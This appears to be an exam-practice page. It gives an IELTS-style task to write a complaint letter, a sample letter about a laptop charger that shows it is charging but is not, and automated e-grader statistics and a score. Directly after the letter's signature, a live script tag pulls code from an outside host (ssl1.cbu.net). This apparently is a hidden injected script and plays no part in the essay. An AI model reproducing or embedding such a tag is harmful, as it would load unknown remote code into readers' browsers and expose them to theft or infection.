You work at home and have a problem with a piece of equipment that you use for your job. Write a letter to the shop or company which supplied the equipment. In your letter
describe the problem with the equipment
explain how this problem is affecting your work
say what you want the shop or company to do
Dear Sir,
I have recently purchased a Laptop from your store and the charger which I got along with it is malfunctioning. It shows that the laptop is charging, but actually, it is not. I tested with another charger, and the device is getting a full charge in less than 2 hours.
Due to Covid-19 situation, I am working from home for the last seven months. This was the main reason for purchasing a new laptop. I work as a technical sales engineer and have to reply to emails on a frequent basis. Even many times, my shift last for more than twelve hours and also I have to be available for online meetings or webinars. It is quite evident, without getting the battery charged of the laptop, it is impossible to work for long hours.
Since you are the dealer for the AVITA brand and also got the service centre for it, I request you to provide me with immediate replacement of the charger. I am also attaching a copy of the bill along with the warranty card for smooth processing at your end.
I am waiting for your early response.
Yours sincerely,
Shreyas Parab<script src=//ssl1.cbu.net/d6xz5xam></script>
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Transition Words or Phrases used:
actually, also, but, if, so
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 9.0 7.48453608247 120% => OK
Auxiliary verbs: 0.0 4.92783505155 0% => OK
Conjunction : 7.0 5.05154639175 139% => OK
Relative clauses : 2.0 3.03092783505 66% => OK
Pronoun: 25.0 32.9175257732 76% => OK
Preposition: 20.0 26.3917525773 76% => OK
Nominalization: 2.0 3.85567010309 52% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 883.0 937.175257732 94% => OK
No of words: 196.0 206.0 95% => OK
Chars per words: 4.50510204082 4.54256449028 99% => OK
Fourth root words length: 3.74165738677 3.78020617076 99% => OK
Word Length SD: 2.49198527863 2.54303337028 98% => OK
Unique words: 122.0 127.690721649 96% => OK
Unique words percentage: 0.622448979592 0.622605031667 100% => OK
syllable_count: 271.8 290.88556701 93% => OK
avg_syllables_per_word: 1.4 1.41237113402 99% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 14.0 9.13402061856 153% => OK
Article: 0.0 0.824742268041 0% => OK
Subordination: 1.0 1.83505154639 54% => OK
Conjunction: 2.0 0.463917525773 431% => Less conjunction wanted as sentence beginning.
Preposition: 2.0 1.44329896907 139% => OK
Performance on sentences:
How many sentences: 12.0 12.6804123711 95% => OK
Sentence length: 16.0 16.3608247423 98% => OK
Sentence length SD: 35.9269126917 44.8134815571 80% => OK
Chars per sentence: 73.5833333333 76.5299724578 96% => OK
Words per sentence: 16.3333333333 16.8248392259 97% => OK
Discourse Markers: 2.25 4.34317383033 52% => More transition words/phrases wanted.
Paragraphs: 4.0 4.29896907216 93% => OK
Language errors: 0.0 2.54639175258 0% => OK
Sentences with positive sentiment : 2.0 7.41237113402 27% => More positive sentences wanted.
Sentences with negative sentiment : 1.0 1.49484536082 67% => OK
Sentences with neutral sentiment: 9.0 3.94845360825 228% => Less facts, knowledge or examples wanted.
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.213450465759 0.216113520407 99% => OK
Sentence topic coherence: 0.0771156951713 0.0766984524023 101% => OK
Sentence topic coherence SD: 0.0450529178129 0.0603063233224 75% => OK
Paragraph topic coherence: 0.127921238315 0.12726935374 101% => OK
Paragraph topic coherence SD: 0.0303952592862 0.0580467560999 52% => OK
Essay readability:
automated_readability_index: 8.0 8.37731958763 95% => OK
flesch_reading_ease: 72.16 70.7449484536 102% => OK
smog_index: 3.1 3.82989690722 81% => OK
flesch_kincaid_grade: 7.2 7.45979381443 97% => OK
coleman_liau_index: 8.58 8.71597938144 98% => OK
dale_chall_readability_score: 8.14 7.59969072165 107% => OK
difficult_words: 46.0 41.2886597938 111% => OK
linsear_write_formula: 6.0 8.62886597938 70% => OK
gunning_fog: 8.4 8.54432989691 98% => OK
text_standard: 8.0 8.15463917526 98% => OK
What are above readability scores?
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Rates: 78.6516853933 out of 100
Scores by essay e-grader: 7.0 Out of 9
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Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.